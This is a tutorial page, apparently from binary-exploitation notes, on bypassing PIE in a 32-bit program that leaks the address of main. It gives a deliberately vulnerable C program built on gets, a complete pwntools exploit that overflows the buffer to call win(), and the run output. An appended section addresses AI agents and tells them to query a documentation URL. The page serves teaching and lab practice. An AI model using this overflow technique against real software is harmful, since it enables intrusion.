# PIE Bypass with Given Leak

## The Source

{% file src="/files/-MGEjnhVTRlPFWzJ8R7O" %}
PIE - 32-bit
{% endfile %}

```c
#include <stdio.h>

int main() {
    vuln();

    return 0;
}

void vuln() {
    char buffer[20];

    printf("Main Function is at: %lx\n", main);

    gets(buffer);
}

void win() {
    puts("PIE bypassed! Great job :D");
}
```

Pretty simple - we print the address of `main`, which we can read and calculate the base address from. Then, using this, we can calculate the address of `win()` itself.

## Analysis

Let's just run the script to make sure it's the right one :D

```
$ ./vuln-32 
Main Function is at: 0x5655d1b9
```

Yup, and as we expected, it prints the location of `main`.

## Exploitation

First, let's set up the script. We create an `ELF` object, which becomes very useful later on, and start the process.

```python
from pwn import *

elf = context.binary = ELF('./vuln-32')
p = process()
```

Now we want to take in the `main` function location. To do this we can simply receive up until it (and do nothing with that) and then read it.

```python
p.recvuntil('at: ')
main = int(p.recvline(), 16)
```

{% hint style="info" %}
Since we received the entire line except for the address, only the address will come up with `p.recvline()`.
{% endhint %}

Now we'll use the `ELF` object we created earlier and set its base address. The `sym` dictionary returns the offsets of the functions from binary base until the base address is set, after which it returns the absolute address in memory.

```python
elf.address = main - elf.sym['main']
```

In this case, `elf.sym['main']` will return `0x11b9`; if we ran it again, it would return `0x11b9` + the base address. So, essentially, we're subtracting the offset of `main` from the address we leaked to get the base of the binary.

Now we know the base we can just call `win()`.

```python
payload = b'A' * 32
payload += p32(elf.sym['win'])

p.sendline(payload)

print(p.clean().decode('latin-1'))
```

{% hint style="info" %}
By this point, I assume you know how to find the padding length and other stuff we've been mentioning for a while, so I won't be showing you every step of that.
{% endhint %}

And does it work?

```
[*] 'vuln-32'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process 'vuln-32': pid 4617
PIE bypassed! Great job :D
```

Awesome!

### Final Exploit

```python
from pwn import *

elf = context.binary = ELF('./vuln-32')
p = process()

p.recvuntil('at: ')
main = int(p.recvline(), 16)

elf.address = main - elf.sym['main']

payload = b'A' * 32
payload += p32(elf.sym['win'])

p.sendline(payload)

print(p.clean().decode('latin-1'))
```

## Summary

From the leak address of `main`, we were able to calculate the base address of the binary. From this we could then calculate the address of `win` and call it.

And one thing I would like to point out is how *simple* this exploit is. Look - it's 10 lines of code, at least half of which is scaffolding and setup.

## 64-bit

Try this for yourself first, then feel free to check the solution. Same source, same challenge.

{% file src="/files/-MGEjjx4UilP7pICroMD" %}
PIE - 64-bit
{% endfile %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ir0nstone.gitbook.io/notes/binexp/stack/pie/pie-exploit.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
